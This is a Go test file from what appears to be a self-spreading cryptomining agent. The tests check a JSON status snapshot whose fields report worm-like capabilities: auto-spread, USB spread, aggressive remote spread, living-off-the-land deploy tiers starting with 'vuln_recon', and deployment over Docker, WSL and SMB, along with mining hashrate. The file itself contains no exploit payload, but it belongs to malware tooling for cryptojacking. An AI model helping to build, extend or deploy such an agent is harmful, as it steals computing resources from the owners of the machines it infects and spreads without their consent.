package client

import (
	"encoding/json"
	"os"
	"testing"

	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
	"crypto-miner-agent/miner"
)

func TestAISnapshotJSONShape(t *testing.T) {
	t.Setenv("AETHERFORGE_WORKER_NUMBER", "42")

	cfg := config.RuntimeConfig{
		BuiltinConfig: config.BuiltinConfig{
			WorkerName:       "lab-node",
			BuildID:          "build-abc",
			LotlOnionEnabled: true,
			AutoSpread:       true,
			USBSpread:        true,
			RemoteAggressive: true,
			GPUEnabled:       true,
			LotlOnionTiers:   append([]string(nil), deploy.DefaultLotlOnionTiers...),
		},
		AgentID: "agent-fixture-1",
	}

	base := newTestClient(t)
	c := &AgentClient{
		cfg:      cfg,
		agentID:  cfg.AgentID,
		reporter: base.reporter,
		pool:     base.pool,
	}

	snap := c.buildAISnapshot(0)

	raw, err := json.Marshal(snap)
	if err != nil {
		t.Fatal(err)
	}

	var m map[string]json.RawMessage
	if err := json.Unmarshal(raw, &m); err != nil {
		t.Fatal(err)
	}

	required := []string{
		"generated_at", "agent_name", "agent_id", "worker_number",
		"build_id", "version", "platform", "forge_flags",
		"deploy_tiers", "mining_tiers", "mining_hashrate",
		"mining_active", "capabilities", "stuck",
	}
	for _, key := range required {
		if _, ok := m[key]; !ok {
			t.Fatalf("missing required snapshot field %q in %s", key, string(raw))
		}
	}

	if snap.AgentName != "lab-node" {
		t.Fatalf("agent_name=%q", snap.AgentName)
	}
	if snap.AgentID != "agent-fixture-1" {
		t.Fatalf("agent_id=%q", snap.AgentID)
	}
	if snap.WorkerNumber != "42" {
		t.Fatalf("worker_number=%q", snap.WorkerNumber)
	}
	if len(snap.DeployTiers) != len(deploy.DefaultLotlOnionTiers) {
		t.Fatalf("deploy_tiers len=%d want %d", len(snap.DeployTiers), len(deploy.DefaultLotlOnionTiers))
	}
	if snap.DeployTiers[0].Tier != "vuln_recon" {
		t.Fatalf("first deploy tier=%q", snap.DeployTiers[0].Tier)
	}
	if len(snap.MiningTiers) == 0 {
		t.Fatal("expected mining_tiers")
	}
	if snap.Capabilities.Platform == "" {
		t.Fatal("capabilities.platform required")
	}
	if snap.ForgeFlags.LotlOnionEnabled != true || !snap.ForgeFlags.AutoSpread {
		t.Fatalf("forge_flags=%+v", snap.ForgeFlags)
	}
}

func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
	snap := AISnapshot{
		MiningHashrate: 0,
		MiningTiers: []AITierStatus{
			{Tier: "cpu_inprocess", Attempted: true, OK: false},
		},
	}
	ms := miner.MiningStatus{ChainExhausted: true}
	if !aiSnapshotStuck(snap, ms) {
		t.Fatal("expected stuck when chain exhausted and hashrate=0")
	}
	snap.MiningHashrate = 10
	if aiSnapshotStuck(snap, ms) {
		t.Fatal("expected not stuck when hashrate>0")
	}
}

func TestBuildDeployTierStatusesFromAttempts(t *testing.T) {
	attempts := []miner.TierAttempt{
		{Phase: "deploy", Tier: "docker", OK: true, DurationMs: 120},
		{Phase: "deploy", Tier: "wsl", OK: false, Error: "no distro", DurationMs: 50},
	}
	order := []string{"docker", "wsl", "smb"}
	got := buildDeployTierStatuses(order, attempts)

	if !got[0].Attempted || !got[0].OK || got[0].DurationMs != 120 {
		t.Fatalf("docker status=%+v", got[0])
	}
	if !got[1].Attempted || got[1].OK || got[1].Error != "no distro" {
		t.Fatalf("wsl status=%+v", got[1])
	}
	if got[2].Attempted {
		t.Fatalf("smb should be unattempted: %+v", got[2])
	}
}

func TestBuildMiningTierStatusesMarksSkipped(t *testing.T) {
	chain := []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess}
	skipped := []miner.LOTLTier{miner.TierWSL}
	attempts := []miner.TierAttempt{
		{Phase: "mining", Tier: miner.TierContainer, OK: false, Error: "pull failed"},
	}
	got := buildMiningTierStatuses(chain, skipped, attempts)

	byTier := map[string]AITierStatus{}
	for _, st := range got {
		byTier[st.Tier] = st
	}
	if !byTier["container"].Attempted || byTier["container"].OK {
		t.Fatalf("container=%+v", byTier["container"])
	}
	if !byTier["wsl"].Skipped {
		t.Fatalf("wsl should be skipped: %+v", byTier["wsl"])
	}
}

func TestWorkerNumberOmitemptyWithoutConfig(t *testing.T) {
	os.Unsetenv("AETHERFORGE_WORKER_NUMBER")
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}}
	c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
	snap := c.buildAISnapshot(0)
	raw, _ := json.Marshal(snap)
	if string(raw) == "" {
		t.Fatal("empty json")
	}
	var m map[string]interface{}
	_ = json.Unmarshal(raw, &m)
	if _, ok := m["worker_number"]; ok {
		t.Fatalf("worker_number should be omitted, got %v", m["worker_number"])
	}
}